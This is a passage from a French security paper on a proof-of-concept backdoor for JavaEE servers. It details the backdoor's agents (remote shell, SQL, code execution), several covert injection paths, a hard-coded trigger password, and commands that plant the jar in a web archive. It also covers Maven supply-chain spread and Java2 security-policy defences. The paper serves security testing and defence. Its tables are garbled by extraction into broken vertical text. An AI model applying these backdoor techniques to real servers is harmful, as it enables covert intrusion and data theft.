Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

